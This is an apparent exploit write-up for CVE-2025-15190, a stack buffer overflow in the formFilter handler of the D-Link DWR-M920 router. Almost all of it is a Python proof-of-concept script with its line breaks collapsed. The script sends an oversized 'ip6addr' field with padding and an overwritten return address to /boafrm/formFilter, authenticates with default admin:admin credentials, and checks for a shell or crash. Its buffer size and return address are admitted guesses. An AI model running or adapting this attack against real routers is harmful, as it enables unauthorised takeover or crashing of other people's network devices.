CVE-2025-15190 D-Link DWR-M920路由器formFilter函数栈缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2025-15190 PoC - D-Link DWR-M920 Stack Buffer Overflow # Affected: D-Link DWR-M920 firmware <= 1.1.50 # Location: /boafrm/formFilter sub_42261C function # Parameter: ip6addr import requests import sys target_ip = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.1" target_port = sys.argv[2] if len(sys.argv) > 2 else "80" # Construct malicious payload # Fill the buffer and overwrite return address # Adjust offset based on actual firmware analysis buffer_size = 1024 # Estimated buffer size padding = b"A" * buffer_size # Overwrite return address with shellcode address or ROP gadget # In embedded devices, address may be predictable return_address = b"\x40\x22\x04\x02" # Example address, adjust per target # Optional: Add shellcode for command execution # shellcode = b"\x90" * 100 # NOP sled # shellcode += b"\xcc" * 50 # Breakpoint for testing payload = padding + return_address # IPv6 address with overflow malicious_ip6addr = "2001:db8::" + payload.decode('latin-1', errors='ignore') url = f"http://{target_ip}:{target_port}/boafrm/formFilter" data = { "ip6addr": malicious_ip6addr, "submit-btn": "submit" } headers = { "Content-Type": "application/x-www-form-urlencoded", "Authorization": "Basic " + "YWRtaW46YWRtaW4=" # admin:admin default credentials } print(f"[*] Sending exploit to {url}") print(f"[*] Payload length: {len(payload)}") try: response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[*] Check if shell is obtained or device has crashed")